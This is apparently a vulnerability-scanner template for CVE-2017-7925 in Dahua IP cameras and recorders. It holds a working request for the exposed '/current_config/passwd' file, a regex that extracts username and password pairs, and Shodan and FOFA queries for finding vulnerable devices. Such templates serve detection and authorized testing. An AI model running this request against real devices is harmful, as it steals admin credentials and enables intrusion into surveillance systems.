Dahua Security - Configuration File Disclosure

id: CVE-2017-7925

info:
  name: Dahua Security - Configuration File Disclosure
  author: E1A,none
  severity: critical
  description: |
    A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, potentially compromising the security of the system.
  remediation: |
    To remediate this vulnerability, ensure that the configuration file is properly secured and access to it is restricted to authorized personnel only.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7925
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-02
    - http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-7925
    cwe-id: CWE-522,CWE-260
    epss-score: 0.52059
    epss-percentile: 0.98812
    cpe: cpe:2.3:o:dahuasecurity:dh-ipc-hdbw23a0rn-zs_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dahuasecurity
    product: dh-ipc-hdbw23a0rn-zs_firmware
    shodan-query: http.favicon.hash:2019488876
    fofa-query: icon_hash=2019488876
  tags: cve,cve2017,dahua,camera,dahuasecurity,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/current_config/passwd"

    matchers:
      - type: dsl
        dsl:
          - contains(to_lower(body), "ugm")
          - contains(to_lower(body), "id:name:passwd")
          - status_code == 200
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - 1:(.*:.*):1:CtrPanel
# digest: 4a0a00473045022100ee7797bb7a6431a294c0e2e1eb1a64c2555dc375d63255cb2d9bf5a78df380d302200f4cbdc14c7960ce0562e2c31891aa07ec9d2a0212a38694c2fca9889929fa52:922c64590222798bb761d5b6d8e72950